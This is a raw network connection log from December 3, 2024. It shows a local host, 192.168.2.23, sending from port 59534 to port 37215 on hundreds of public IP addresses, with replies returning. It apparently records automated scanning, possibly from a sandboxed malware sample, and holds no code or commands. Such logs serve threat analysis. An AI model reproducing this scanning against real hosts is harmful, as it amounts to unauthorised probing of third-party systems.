Dec 3, 2024 23:01:45.915934086 CET	59534	37215	192.168.2.23	197.55.250.42
Dec 3, 2024 23:01:45.915934086 CET	59534	37215	192.168.2.23	41.84.243.69
Dec 3, 2024 23:01:45.916016102 CET	37215	59534	197.121.169.198	192.168.2.23
Dec 3, 2024 23:01:45.916024923 CET	37215	59534	197.179.123.78	192.168.2.23
Dec 3, 2024 23:01:45.916033030 CET	37215	59534	156.60.127.235	192.168.2.23
Dec 3, 2024 23:01:45.916057110 CET	59534	37215	192.168.2.23	197.121.169.198
Dec 3, 2024 23:01:45.916057110 CET	59534	37215	192.168.2.23	197.179.123.78
Dec 3, 2024 23:01:45.916069031 CET	59534	37215	192.168.2.23	156.60.127.235
Dec 3, 2024 23:01:45.916105986 CET	37215	59534	156.92.18.179	192.168.2.23
Dec 3, 2024 23:01:45.916115046 CET	37215	59534	41.87.138.159	192.168.2.23
Dec 3, 2024 23:01:45.916122913 CET	37215	59534	156.174.220.21	192.168.2.23
Dec 3, 2024 23:01:45.916131973 CET	37215	59534	41.31.245.66	192.168.2.23
Dec 3, 2024 23:01:45.916146994 CET	59534	37215	192.168.2.23	156.92.18.179
Dec 3, 2024 23:01:45.916152954 CET	59534	37215	192.168.2.23	41.87.138.159
Dec 3, 2024 23:01:45.916157007 CET	59534	37215	192.168.2.23	156.174.220.21
Dec 3, 2024 23:01:45.916160107 CET	59534	37215	192.168.2.23	41.31.245.66
Dec 3, 2024 23:01:45.916219950 CET	37215	59534	41.249.254.250	192.168.2.23
Dec 3, 2024 23:01:45.916229010 CET	37215	59534	197.162.30.95	192.168.2.23
Dec 3, 2024 23:01:45.916237116 CET	37215	59534	156.200.219.131	192.168.2.23
Dec 3, 2024 23:01:45.916244984 CET	37215	59534	41.60.210.146	192.168.2.23
Dec 3, 2024 23:01:45.916253090 CET	37215	59534	197.8.11.88	192.168.2.23
Dec 3, 2024 23:01:45.916255951 CET	59534	37215	192.168.2.23	41.249.254.250
Dec 3, 2024 23:01:45.916260958 CET	59534	37215	192.168.2.23	156.200.219.131
Dec 3, 2024 23:01:45.916261911 CET	37215	59534	156.5.174.12	192.168.2.23
Dec 3, 2024 23:01:45.916266918 CET	59534	37215	192.168.2.23	197.162.30.95
Dec 3, 2024 23:01:45.916266918 CET	59534	37215	192.168.2.23	41.60.210.146
Dec 3, 2024 23:01:45.916273117 CET	37215	59534	156.158.22.120	192.168.2.23
Dec 3, 2024 23:01:45.916284084 CET	59534	37215	192.168.2.23	197.8.11.88
Dec 3, 2024 23:01:45.916292906 CET	59534	37215	192.168.2.23	156.5.174.12
Dec 3, 2024 23:01:45.916306973 CET	59534	37215	192.168.2.23	156.158.22.120
Dec 3, 2024 23:01:46.026292086 CET	37215	59534	156.41.83.44	192.168.2.23
Dec 3, 2024 23:01:46.026303053 CET	37215	59534	156.73.213.155	192.168.2.23
Dec 3, 2024 23:01:46.026323080 CET	37215	59534	41.149.143.9	192.168.2.23
Dec 3, 2024 23:01:46.026331902 CET	37215	59534	156.237.239.165	192.168.2.23
Dec 3, 2024 23:01:46.026340008 CET	37215	59534	156.135.88.158	192.168.2.23
Dec 3, 2024 23:01:46.026350975 CET	59534	37215	192.168.2.23	156.73.213.155
Dec 3, 2024 23:01:46.026350021 CET	59534	37215	192.168.2.23	156.41.83.44
Dec 3, 2024 23:01:46.026355028 CET	59534	37215	192.168.2.23	41.149.143.9
Dec 3, 2024 23:01:46.026360035 CET	37215	59534	41.34.50.52	192.168.2.23
Dec 3, 2024 23:01:46.026371002 CET	37215	59534	41.72.255.76	192.168.2.23
Dec 3, 2024 23:01:46.026376963 CET	59534	37215	192.168.2.23	156.237.239.165
Dec 3, 2024 23:01:46.026376963 CET	59534	37215	192.168.2.23	156.135.88.158
Dec 3, 2024 23:01:46.026381016 CET	37215	59534	41.158.53.138	192.168.2.23
Dec 3, 2024 23:01:46.026393890 CET	59534	37215	192.168.2.23	41.34.50.52
Dec 3, 2024 23:01:46.026398897 CET	37215	59534	197.192.21.35	192.168.2.23
Dec 3, 2024 23:01:46.026415110 CET	59534	37215	192.168.2.23	41.158.53.138
Dec 3, 2024 23:01:46.026415110 CET	59534	37215	192.168.2.23	41.72.255.76
Dec 3, 2024 23:01:46.026437998 CET	59534	37215	192.168.2.23	197.192.21.35
Dec 3, 2024 23:01:46.026437998 CET	37215	59534	156.233.99.239	192.168.2.23
Dec 3, 2024 23:01:46.026448011 CET	37215	59534	156.211.46.49	192.168.2.23
Dec 3, 2024 23:01:46.026475906 CET	37215	59534	41.177.89.213	192.168.2.23
Dec 3, 2024 23:01:46.026479959 CET	59534	37215	192.168.2.23	156.211.46.49
Dec 3, 2024 23:01:46.026479959 CET	59534	37215	192.168.2.23	156.233.99.239
Dec 3, 2024 23:01:46.026516914 CET	59534	37215	192.168.2.23	41.177.89.213
Dec 3, 2024 23:01:46.026539087 CET	37215	59534	41.70.115.161	192.168.2.23
Dec 3, 2024 23:01:46.026546955 CET	37215	59534	41.44.41.186	192.168.2.23
Dec 3, 2024 23:01:46.026581049 CET	59534	37215	192.168.2.23	41.70.115.161
Dec 3, 2024 23:01:46.026585102 CET	59534	37215	192.168.2.23	41.44.41.186
Dec 3, 2024 23:01:46.026613951 CET	37215	59534	156.76.2.165	192.168.2.23
Dec 3, 2024 23:01:46.026622057 CET	37215	59534	197.220.130.19	192.168.2.23
Dec 3, 2024 23:01:46.026629925 CET	37215	59534	156.48.171.144	192.168.2.23
Dec 3, 2024 23:01:46.026647091 CET	59534	37215	192.168.2.23	197.220.130.19
Dec 3, 2024 23:01:46.026648045 CET	59534	37215	192.168.2.23	156.76.2.165
Dec 3, 2024 23:01:46.026655912 CET	37215	59534	156.169.65.12	192.168.2.23
Dec 3, 2024 23:01:46.026663065 CET	59534	37215	192.168.2.23	156.48.171.144
Dec 3, 2024 23:01:46.026664972 CET	37215	59534	41.81.119.77	192.168.2.23
Dec 3, 2024 23:01:46.026674032 CET	37215	59534	156.85.56.131	192.168.2.23
Dec 3, 2024 23:01:46.026693106 CET	59534	37215	192.168.2.23	156.169.65.12
Dec 3, 2024 23:01:46.026700020 CET	37215	59534	41.23.82.249	192.168.2.23
Dec 3, 2024 23:01:46.026701927 CET	59534	37215	192.168.2.23	41.81.119.77
Dec 3, 2024 23:01:46.026705027 CET	59534	37215	192.168.2.23	156.85.56.131
Dec 3, 2024 23:01:46.026710987 CET	37215	59534	197.220.222.180	192.168.2.23
Dec 3, 2024 23:01:46.026737928 CET	37215	59534	197.178.65.228	192.168.2.23
Dec 3, 2024 23:01:46.026746035 CET	59534	37215	192.168.2.23	197.220.222.180
Dec 3, 2024 23:01:46.026746988 CET	37215	59534	156.3.125.219	192.168.2.23
Dec 3, 2024 23:01:46.026748896 CET	59534	37215	192.168.2.23	41.23.82.249
Dec 3, 2024 23:01:46.026779890 CET	59534	37215	192.168.2.23	197.178.65.228
Dec 3, 2024 23:01:46.026781082 CET	37215	59534	197.26.175.43	192.168.2.23
Dec 3, 2024 23:01:46.026781082 CET	59534	37215	192.168.2.23	156.3.125.219
Dec 3, 2024 23:01:46.026791096 CET	37215	59534	156.39.111.7	192.168.2.23
Dec 3, 2024 23:01:46.026802063 CET	37215	59534	156.136.60.44	192.168.2.23
Dec 3, 2024 23:01:46.026823997 CET	59534	37215	192.168.2.23	197.26.175.43
Dec 3, 2024 23:01:46.026824951 CET	37215	59534	156.114.0.176	192.168.2.23
Dec 3, 2024 23:01:46.026824951 CET	59534	37215	192.168.2.23	156.39.111.7
Dec 3, 2024 23:01:46.026839972 CET	59534	37215	192.168.2.23	156.136.60.44
Dec 3, 2024 23:01:46.026864052 CET	59534	37215	192.168.2.23	156.114.0.176
Dec 3, 2024 23:01:46.027559996 CET	37215	59534	197.218.101.201	192.168.2.23
Dec 3, 2024 23:01:46.027596951 CET	59534	37215	192.168.2.23	197.218.101.201
Dec 3, 2024 23:01:46.027610064 CET	37215	59534	41.128.252.146	192.168.2.23
Dec 3, 2024 23:01:46.027620077 CET	37215	59534	197.115.13.229	192.168.2.23
Dec 3, 2024 23:01:46.027652025 CET	59534	37215	192.168.2.23	197.115.13.229
Dec 3, 2024 23:01:46.027652025 CET	59534	37215	192.168.2.23	41.128.252.146
Dec 3, 2024 23:01:46.027721882 CET	37215	59534	41.22.57.239	192.168.2.23
Dec 3, 2024 23:01:46.027730942 CET	37215	59534	156.191.151.59	192.168.2.23
Dec 3, 2024 23:01:46.027739048 CET	37215	59534	41.113.205.87	192.168.2.23
Dec 3, 2024 23:01:46.027748108 CET	37215	59534	41.134.46.13	192.168.2.23
Dec 3, 2024 23:01:46.027755022 CET	37215	59534	156.113.35.39	192.168.2.23
Dec 3, 2024 23:01:46.027761936 CET	59534	37215	192.168.2.23	41.22.57.239
Dec 3, 2024 23:01:46.027765036 CET	37215	59534	41.98.140.244	192.168.2.23
Dec 3, 2024 23:01:46.027765989 CET	59534	37215	192.168.2.23	156.191.151.59
Dec 3, 2024 23:01:46.027772903 CET	59534	37215	192.168.2.23	41.113.205.87
Dec 3, 2024 23:01:46.027775049 CET	37215	59534	156.66.172.84	192.168.2.23
Dec 3, 2024 23:01:46.027781010 CET	59534	37215	192.168.2.23	156.113.35.39
Dec 3, 2024 23:01:46.027782917 CET	59534	37215	192.168.2.23	41.98.140.244
Dec 3, 2024 23:01:46.027782917 CET	37215	59534	41.167.189.84	192.168.2.23
Dec 3, 2024 23:01:46.027784109 CET	59534	37215	192.168.2.23	41.134.46.13
Dec 3, 2024 23:01:46.027792931 CET	37215	59534	197.28.40.236	192.168.2.23
Dec 3, 2024 23:01:46.027801037 CET	37215	59534	197.214.136.27	192.168.2.23
Dec 3, 2024 23:01:46.027808905 CET	37215	59534	41.221.19.159	192.168.2.23
Dec 3, 2024 23:01:46.027811050 CET	59534	37215	192.168.2.23	156.66.172.84
Dec 3, 2024 23:01:46.027812958 CET	59534	37215	192.168.2.23	41.167.189.84
Dec 3, 2024 23:01:46.027817011 CET	37215	59534	41.145.70.186	192.168.2.23
Dec 3, 2024 23:01:46.027826071 CET	59534	37215	192.168.2.23	197.28.40.236
Dec 3, 2024 23:01:46.027827024 CET	37215	59534	197.10.30.195	192.168.2.23
Dec 3, 2024 23:01:46.027832031 CET	59534	37215	192.168.2.23	41.221.19.159
Dec 3, 2024 23:01:46.027834892 CET	37215	59534	156.10.249.14	192.168.2.23
Dec 3, 2024 23:01:46.027837992 CET	59534	37215	192.168.2.23	197.214.136.27
Dec 3, 2024 23:01:46.027849913 CET	59534	37215	192.168.2.23	41.145.70.186
Dec 3, 2024 23:01:46.027853012 CET	37215	59534	41.216.11.220	192.168.2.23
Dec 3, 2024 23:01:46.027853012 CET	59534	37215	192.168.2.23	197.10.30.195
Dec 3, 2024 23:01:46.027862072 CET	37215	59534	41.181.99.183	192.168.2.23
Dec 3, 2024 23:01:46.027865887 CET	59534	37215	192.168.2.23	156.10.249.14
Dec 3, 2024 23:01:46.027870893 CET	37215	59534	197.227.93.12	192.168.2.23
Dec 3, 2024 23:01:46.027879000 CET	37215	59534	197.210.14.248	192.168.2.23
Dec 3, 2024 23:01:46.027887106 CET	37215	59534	156.232.219.94	192.168.2.23
Dec 3, 2024 23:01:46.027893066 CET	59534	37215	192.168.2.23	41.216.11.220
Dec 3, 2024 23:01:46.027893066 CET	59534	37215	192.168.2.23	197.227.93.12
Dec 3, 2024 23:01:46.027900934 CET	37215	59534	156.97.71.149	192.168.2.23
Dec 3, 2024 23:01:46.027900934 CET	59534	37215	192.168.2.23	41.181.99.183
Dec 3, 2024 23:01:46.027909040 CET	37215	59534	197.116.198.53	192.168.2.23
Dec 3, 2024 23:01:46.027913094 CET	37215	59534	156.145.167.42	192.168.2.23
Dec 3, 2024 23:01:46.027915955 CET	37215	59534	41.118.4.89	192.168.2.23
Dec 3, 2024 23:01:46.027915955 CET	59534	37215	192.168.2.23	197.210.14.248
Dec 3, 2024 23:01:46.027915955 CET	59534	37215	192.168.2.23	156.232.219.94
Dec 3, 2024 23:01:46.027926922 CET	37215	59534	156.46.245.208	192.168.2.23
Dec 3, 2024 23:01:46.027935982 CET	37215	59534	41.121.31.251	192.168.2.23
Dec 3, 2024 23:01:46.027936935 CET	59534	37215	192.168.2.23	197.116.198.53
Dec 3, 2024 23:01:46.027941942 CET	59534	37215	192.168.2.23	41.118.4.89
Dec 3, 2024 23:01:46.027941942 CET	59534	37215	192.168.2.23	156.97.71.149
Dec 3, 2024 23:01:46.027944088 CET	59534	37215	192.168.2.23	156.145.167.42
Dec 3, 2024 23:01:46.027957916 CET	59534	37215	192.168.2.23	156.46.245.208
Dec 3, 2024 23:01:46.027957916 CET	59534	37215	192.168.2.23	41.121.31.251
Dec 3, 2024 23:01:46.028645039 CET	37215	59534	197.124.223.63	192.168.2.23
Dec 3, 2024 23:01:46.028686047 CET	59534	37215	192.168.2.23	197.124.223.63
Dec 3, 2024 23:01:46.028701067 CET	37215	59534	156.167.207.7	192.168.2.23
Dec 3, 2024 23:01:46.028711081 CET	37215	59534	156.127.88.131	192.168.2.23
Dec 3, 2024 23:01:46.028719902 CET	37215	59534	197.173.254.17	192.168.2.23
Dec 3, 2024 23:01:46.028737068 CET	59534	37215	192.168.2.23	156.167.207.7
Dec 3, 2024 23:01:46.028738022 CET	37215	59534	156.132.20.173	192.168.2.23
Dec 3, 2024 23:01:46.028748035 CET	37215	59534	41.197.4.197	192.168.2.23
Dec 3, 2024 23:01:46.028748035 CET	59534	37215	192.168.2.23	156.127.88.131
Dec 3, 2024 23:01:46.028748989 CET	59534	37215	192.168.2.23	197.173.254.17
Dec 3, 2024 23:01:46.028759003 CET	37215	59534	156.54.95.130	192.168.2.23
Dec 3, 2024 23:01:46.028772116 CET	59534	37215	192.168.2.23	156.132.20.173
Dec 3, 2024 23:01:46.028778076 CET	37215	59534	41.1.147.85	192.168.2.23
Dec 3, 2024 23:01:46.028781891 CET	59534	37215	192.168.2.23	41.197.4.197
Dec 3, 2024 23:01:46.028795958 CET	59534	37215	192.168.2.23	156.54.95.130
Dec 3, 2024 23:01:46.028810978 CET	59534	37215	192.168.2.23	41.1.147.85
Dec 3, 2024 23:01:46.028817892 CET	37215	59534	197.203.0.206	192.168.2.23
Dec 3, 2024 23:01:46.028856993 CET	59534	37215	192.168.2.23	197.203.0.206
Dec 3, 2024 23:01:46.028865099 CET	37215	59534	41.205.238.8	192.168.2.23
Dec 3, 2024 23:01:46.028875113 CET	37215	59534	41.52.180.222	192.168.2.23
Dec 3, 2024 23:01:46.028907061 CET	59534	37215	192.168.2.23	41.205.238.8
Dec 3, 2024 23:01:46.028908014 CET	59534	37215	192.168.2.23	41.52.180.222
Dec 3, 2024 23:01:46.028922081 CET	37215	59534	41.113.78.147	192.168.2.23
Dec 3, 2024 23:01:46.028932095 CET	37215	59534	197.173.218.244	192.168.2.23
Dec 3, 2024 23:01:46.028964043 CET	59534	37215	192.168.2.23	41.113.78.147
Dec 3, 2024 23:01:46.028966904 CET	59534	37215	192.168.2.23	197.173.218.244
Dec 3, 2024 23:01:46.028976917 CET	37215	59534	156.98.45.73	192.168.2.23
Dec 3, 2024 23:01:46.028985977 CET	37215	59534	41.180.42.121	192.168.2.23
Dec 3, 2024 23:01:46.028997898 CET	37215	59534	41.176.75.160	192.168.2.23
Dec 3, 2024 23:01:46.029016972 CET	59534	37215	192.168.2.23	156.98.45.73
Dec 3, 2024 23:01:46.029016972 CET	59534	37215	192.168.2.23	41.180.42.121
Dec 3, 2024 23:01:46.029023886 CET	59534	37215	192.168.2.23	41.176.75.160
Dec 3, 2024 23:01:46.029048920 CET	37215	59534	156.102.132.47	192.168.2.23
Dec 3, 2024 23:01:46.029057980 CET	37215	59534	41.39.186.219	192.168.2.23
Dec 3, 2024 23:01:46.029062033 CET	37215	59534	156.227.119.238	192.168.2.23
Dec 3, 2024 23:01:46.029093027 CET	59534	37215	192.168.2.23	156.227.119.238
Dec 3, 2024 23:01:46.029093027 CET	59534	37215	192.168.2.23	41.39.186.219
Dec 3, 2024 23:01:46.029094934 CET	37215	59534	156.118.244.135	192.168.2.23
Dec 3, 2024 23:01:46.029095888 CET	59534	37215	192.168.2.23	156.102.132.47
Dec 3, 2024 23:01:46.029105902 CET	37215	59534	197.172.247.123	192.168.2.23
Dec 3, 2024 23:01:46.029115915 CET	37215	59534	41.103.212.42	192.168.2.23
Dec 3, 2024 23:01:46.029124022 CET	37215	59534	197.66.130.140	192.168.2.23
Dec 3, 2024 23:01:46.029131889 CET	37215	59534	156.55.1.55	192.168.2.23
Dec 3, 2024 23:01:46.029134035 CET	59534	37215	192.168.2.23	156.118.244.135
Dec 3, 2024 23:01:46.029134035 CET	59534	37215	192.168.2.23	197.172.247.123
Dec 3, 2024 23:01:46.029139996 CET	37215	59534	156.153.26.169	192.168.2.23
Dec 3, 2024 23:01:46.029148102 CET	37215	59534	41.93.143.174	192.168.2.23
Dec 3, 2024 23:01:46.029158115 CET	59534	37215	192.168.2.23	41.103.212.42
Dec 3, 2024 23:01:46.029159069 CET	59534	37215	192.168.2.23	197.66.130.140
Dec 3, 2024 23:01:46.029160976 CET	59534	37215	192.168.2.23	156.55.1.55
Dec 3, 2024 23:01:46.029180050 CET	59534	37215	192.168.2.23	156.153.26.169
Dec 3, 2024 23:01:46.029181957 CET	59534	37215	192.168.2.23	41.93.143.174
Dec 3, 2024 23:01:46.029218912 CET	37215	59534	41.120.215.197	192.168.2.23
Dec 3, 2024 23:01:46.029227972 CET	37215	59534	197.218.97.218	192.168.2.23
Dec 3, 2024 23:01:46.029263020 CET	59534	37215	192.168.2.23	41.120.215.197
Dec 3, 2024 23:01:46.029263020 CET	59534	37215	192.168.2.23	197.218.97.218
Dec 3, 2024 23:01:46.029814005 CET	37215	59534	156.139.6.245	192.168.2.23
Dec 3, 2024 23:01:46.029823065 CET	37215	59534	41.155.197.201	192.168.2.23
Dec 3, 2024 23:01:46.029831886 CET	37215	59534	197.109.183.150	192.168.2.23
Dec 3, 2024 23:01:46.029839993 CET	37215	59534	41.185.210.127	192.168.2.23
Dec 3, 2024 23:01:46.029860973 CET	59534	37215	192.168.2.23	41.155.197.201
Dec 3, 2024 23:01:46.029864073 CET	37215	59534	41.214.140.143	192.168.2.23
Dec 3, 2024 23:01:46.029864073 CET	59534	37215	192.168.2.23	156.139.6.245
Dec 3, 2024 23:01:46.029867887 CET	59534	37215	192.168.2.23	197.109.183.150
Dec 3, 2024 23:01:46.029889107 CET	59534	37215	192.168.2.23	41.185.210.127
Dec 3, 2024 23:01:46.029906988 CET	59534	37215	192.168.2.23	41.214.140.143
Dec 3, 2024 23:01:46.029920101 CET	37215	59534	197.93.225.250	192.168.2.23
Dec 3, 2024 23:01:46.029956102 CET	59534	37215	192.168.2.23	197.93.225.250
Dec 3, 2024 23:01:46.029968023 CET	37215	59534	41.246.67.42	192.168.2.23
Dec 3, 2024 23:01:46.030004978 CET	59534	37215	192.168.2.23	41.246.67.42
Dec 3, 2024 23:01:46.030010939 CET	37215	59534	41.0.163.77	192.168.2.23
Dec 3, 2024 23:01:46.030054092 CET	59534	37215	192.168.2.23	41.0.163.77
Dec 3, 2024 23:01:46.030061960 CET	37215	59534	197.179.229.36	192.168.2.23
Dec 3, 2024 23:01:46.030071020 CET	37215	59534	41.138.185.63	192.168.2.23
Dec 3, 2024 23:01:46.030080080 CET	37215	59534	197.233.68.55	192.168.2.23
Dec 3, 2024 23:01:46.030102968 CET	59534	37215	192.168.2.23	197.179.229.36
Dec 3, 2024 23:01:46.030111074 CET	59534	37215	192.168.2.23	197.233.68.55
Dec 3, 2024 23:01:46.030112028 CET	59534	37215	192.168.2.23	41.138.185.63
Dec 3, 2024 23:01:46.030143976 CET	37215	59534	197.167.32.249	192.168.2.23
Dec 3, 2024 23:01:46.030153990 CET	37215	59534	156.21.84.215	192.168.2.23
Dec 3, 2024 23:01:46.030164003 CET	37215	59534	197.109.3.169	192.168.2.23
Dec 3, 2024 23:01:46.030180931 CET	37215	59534	41.37.105.215	192.168.2.23
Dec 3, 2024 23:01:46.030183077 CET	59534	37215	192.168.2.23	197.167.32.249
Dec 3, 2024 23:01:46.030189037 CET	37215	59534	41.253.48.69	192.168.2.23
Dec 3, 2024 23:01:46.030190945 CET	59534	37215	192.168.2.23	156.21.84.215
Dec 3, 2024 23:01:46.030193090 CET	59534	37215	192.168.2.23	197.109.3.169
Dec 3, 2024 23:01:46.030200005 CET	37215	59534	197.124.104.90	192.168.2.23
Dec 3, 2024 23:01:46.030215979 CET	37215	59534	156.55.156.128	192.168.2.23
Dec 3, 2024 23:01:46.030220032 CET	59534	37215	192.168.2.23	41.37.105.215
Dec 3, 2024 23:01:46.030222893 CET	59534	37215	192.168.2.23	41.253.48.69
Dec 3, 2024 23:01:46.030225039 CET	37215	59534	41.221.187.210	192.168.2.23
Dec 3, 2024 23:01:46.030236006 CET	59534	37215	192.168.2.23	197.124.104.90
Dec 3, 2024 23:01:46.030246019 CET	59534	37215	192.168.2.23	156.55.156.128
Dec 3, 2024 23:01:46.030263901 CET	59534	37215	192.168.2.23	41.221.187.210
Dec 3, 2024 23:01:46.030355930 CET	37215	59534	41.115.87.97	192.168.2.23
Dec 3, 2024 23:01:46.030364990 CET	37215	59534	197.52.221.239	192.168.2.23
Dec 3, 2024 23:01:46.030373096 CET	37215	59534	197.143.45.35	192.168.2.23
Dec 3, 2024 23:01:46.030380964 CET	37215	59534	41.155.7.200	192.168.2.23
Dec 3, 2024 23:01:46.030385017 CET	37215	59534	197.127.40.17	192.168.2.23
Dec 3, 2024 23:01:46.030392885 CET	37215	59534	156.233.165.119	192.168.2.23
Dec 3, 2024 23:01:46.030395031 CET	59534	37215	192.168.2.23	197.52.221.239
Dec 3, 2024 23:01:46.030395985 CET	59534	37215	192.168.2.23	41.115.87.97
Dec 3, 2024 23:01:46.030400991 CET	37215	59534	41.12.72.106	192.168.2.23
Dec 3, 2024 23:01:46.030407906 CET	59534	37215	192.168.2.23	197.143.45.35
Dec 3, 2024 23:01:46.030409098 CET	59534	37215	192.168.2.23	197.127.40.17
Dec 3, 2024 23:01:46.030410051 CET	37215	59534	156.199.71.141	192.168.2.23
Dec 3, 2024 23:01:46.030411005 CET	59534	37215	192.168.2.23	41.155.7.200
Dec 3, 2024 23:01:46.030419111 CET	37215	59534	41.80.10.222	192.168.2.23
Dec 3, 2024 23:01:46.030433893 CET	59534	37215	192.168.2.23	41.12.72.106
Dec 3, 2024 23:01:46.030436993 CET	59534	37215	192.168.2.23	156.233.165.119
Dec 3, 2024 23:01:46.030447960 CET	59534	37215	192.168.2.23	156.199.71.141
Dec 3, 2024 23:01:46.030452967 CET	59534	37215	192.168.2.23	41.80.10.222
Dec 3, 2024 23:01:46.031153917 CET	37215	59534	156.249.125.2	192.168.2.23
Dec 3, 2024 23:01:46.031198978 CET	59534	37215	192.168.2.23	156.249.125.2
Dec 3, 2024 23:01:46.031205893 CET	37215	59534	156.226.104.9	192.168.2.23
Dec 3, 2024 23:01:46.031213999 CET	37215	59534	41.191.63.29	192.168.2.23
Dec 3, 2024 23:01:46.031223059 CET	37215	59534	156.72.2.134	192.168.2.23
Dec 3, 2024 23:01:46.031232119 CET	37215	59534	197.139.52.188	192.168.2.23
Dec 3, 2024 23:01:46.031239986 CET	37215	59534	41.13.155.161	192.168.2.23
Dec 3, 2024 23:01:46.031249046 CET	59534	37215	192.168.2.23	156.226.104.9
Dec 3, 2024 23:01:46.031253099 CET	37215	59534	156.124.233.120	192.168.2.23
Dec 3, 2024 23:01:46.031255007 CET	59534	37215	192.168.2.23	41.191.63.29
Dec 3, 2024 23:01:46.031256914 CET	59534	37215	192.168.2.23	156.72.2.134
Dec 3, 2024 23:01:46.031260967 CET	37215	59534	41.245.183.230	192.168.2.23
Dec 3, 2024 23:01:46.031265020 CET	59534	37215	192.168.2.23	197.139.52.188
Dec 3, 2024 23:01:46.031272888 CET	59534	37215	192.168.2.23	41.13.155.161
Dec 3, 2024 23:01:46.031289101 CET	59534	37215	192.168.2.23	156.124.233.120
Dec 3, 2024 23:01:46.031291008 CET	37215	59534	197.97.141.127	192.168.2.23
Dec 3, 2024 23:01:46.031295061 CET	59534	37215	192.168.2.23	41.245.183.230
Dec 3, 2024 23:01:46.031299114 CET	37215	59534	156.18.236.6	192.168.2.23
Dec 3, 2024 23:01:46.031307936 CET	37215	59534	41.79.172.220	192.168.2.23
Dec 3, 2024 23:01:46.031323910 CET	37215	59534	156.238.224.79	192.168.2.23
Dec 3, 2024 23:01:46.031330109 CET	59534	37215	192.168.2.23	156.18.236.6
Dec 3, 2024 23:01:46.031330109 CET	59534	37215	192.168.2.23	41.79.172.220
Dec 3, 2024 23:01:46.031332016 CET	59534	37215	192.168.2.23	197.97.141.127
Dec 3, 2024 23:01:46.031358004 CET	59534	37215	192.168.2.23	156.238.224.79
Dec 3, 2024 23:01:46.031363010 CET	37215	59534	197.151.23.88	192.168.2.23
Dec 3, 2024 23:01:46.031372070 CET	37215	59534	41.243.215.174	192.168.2.23
Dec 3, 2024 23:01:46.031379938 CET	37215	59534	41.198.33.59	192.168.2.23
Dec 3, 2024 23:01:46.031397104 CET	37215	59534	197.246.247.175	192.168.2.23
Dec 3, 2024 23:01:46.031407118 CET	37215	59534	197.215.215.104	192.168.2.23
Dec 3, 2024 23:01:46.031408072 CET	59534	37215	192.168.2.23	197.151.23.88
Dec 3, 2024 23:01:46.031410933 CET	59534	37215	192.168.2.23	41.198.33.59
Dec 3, 2024 23:01:46.031414986 CET	59534	37215	192.168.2.23	41.243.215.174
Dec 3, 2024 23:01:46.031433105 CET	37215	59534	197.33.232.89	192.168.2.23
Dec 3, 2024 23:01:46.031439066 CET	59534	37215	192.168.2.23	197.246.247.175
Dec 3, 2024 23:01:46.031440973 CET	59534	37215	192.168.2.23	197.215.215.104
Dec 3, 2024 23:01:46.031441927 CET	37215	59534	197.89.63.183	192.168.2.23
Dec 3, 2024 23:01:46.031450987 CET	37215	59534	197.137.241.91	192.168.2.23
Dec 3, 2024 23:01:46.031466961 CET	59534	37215	192.168.2.23	197.33.232.89
Dec 3, 2024 23:01:46.031481981 CET	37215	59534	41.68.172.139	192.168.2.23
Dec 3, 2024 23:01:46.031481981 CET	59534	37215	192.168.2.23	197.89.63.183
Dec 3, 2024 23:01:46.031486034 CET	59534	37215	192.168.2.23	197.137.241.91
Dec 3, 2024 23:01:46.031491041 CET	37215	59534	197.127.217.93	192.168.2.23
Dec 3, 2024 23:01:46.031501055 CET	37215	59534	197.71.254.60	192.168.2.23
Dec 3, 2024 23:01:46.031510115 CET	37215	59534	41.80.5.217	192.168.2.23
Dec 3, 2024 23:01:46.031513929 CET	59534	37215	192.168.2.23	41.68.172.139
Dec 3, 2024 23:01:46.031518936 CET	37215	59534	41.218.115.231	192.168.2.23
Dec 3, 2024 23:01:46.031527996 CET	59534	37215	192.168.2.23	197.127.217.93
Dec 3, 2024 23:01:46.031536102 CET	37215	59534	156.240.254.59	192.168.2.23
Dec 3, 2024 23:01:46.031537056 CET	59534	37215	192.168.2.23	197.71.254.60
Dec 3, 2024 23:01:46.031537056 CET	59534	37215	192.168.2.23	41.80.5.217
Dec 3, 2024 23:01:46.031544924 CET	37215	59534	197.107.99.183	192.168.2.23
Dec 3, 2024 23:01:46.031548977 CET	37215	59534	156.129.30.140	192.168.2.23
Dec 3, 2024 23:01:46.031549931 CET	59534	37215	192.168.2.23	41.218.115.231
Dec 3, 2024 23:01:46.031575918 CET	59534	37215	192.168.2.23	156.129.30.140
Dec 3, 2024 23:01:46.031578064 CET	59534	37215	192.168.2.23	156.240.254.59
Dec 3, 2024 23:01:46.031575918 CET	59534	37215	192.168.2.23	197.107.99.183
Dec 3, 2024 23:01:46.032496929 CET	37215	59534	156.183.76.9	192.168.2.23
Dec 3, 2024 23:01:46.032536030 CET	59534	37215	192.168.2.23	156.183.76.9
Dec 3, 2024 23:01:46.032593966 CET	37215	59534	41.115.183.174	192.168.2.23
Dec 3, 2024 23:01:46.032608986 CET	37215	59534	156.216.42.135	192.168.2.23
Dec 3, 2024 23:01:46.032634020 CET	59534	37215	192.168.2.23	41.115.183.174
Dec 3, 2024 23:01:46.032645941 CET	59534	37215	192.168.2.23	156.216.42.135
Dec 3, 2024 23:01:46.032658100 CET	37215	59534	156.114.119.54	192.168.2.23
Dec 3, 2024 23:01:46.032699108 CET	59534	37215	192.168.2.23	156.114.119.54
Dec 3, 2024 23:01:46.032717943 CET	37215	59534	41.239.136.95	192.168.2.23
Dec 3, 2024 23:01:46.032727003 CET	37215	59534	156.209.52.144	192.168.2.23
Dec 3, 2024 23:01:46.032736063 CET	37215	59534	156.225.62.99	192.168.2.23
Dec 3, 2024 23:01:46.032753944 CET	37215	59534	41.101.131.68	192.168.2.23
Dec 3, 2024 23:01:46.032759905 CET	59534	37215	192.168.2.23	41.239.136.95
Dec 3, 2024 23:01:46.032761097 CET	59534	37215	192.168.2.23	156.209.52.144
Dec 3, 2024 23:01:46.032763958 CET	37215	59534	41.114.119.175	192.168.2.23
Dec 3, 2024 23:01:46.032764912 CET	59534	37215	192.168.2.23	156.225.62.99
Dec 3, 2024 23:01:46.032784939 CET	59534	37215	192.168.2.23	41.101.131.68
Dec 3, 2024 23:01:46.032784939 CET	37215	59534	41.29.4.215	192.168.2.23
Dec 3, 2024 23:01:46.032805920 CET	59534	37215	192.168.2.23	41.114.119.175
Dec 3, 2024 23:01:46.032825947 CET	59534	37215	192.168.2.23	41.29.4.215
Dec 3, 2024 23:01:46.032835007 CET	37215	59534	41.84.138.115	192.168.2.23
Dec 3, 2024 23:01:46.032845020 CET	37215	59534	197.39.160.83	192.168.2.23
Dec 3, 2024 23:01:46.032876968 CET	59534	37215	192.168.2.23	41.84.138.115
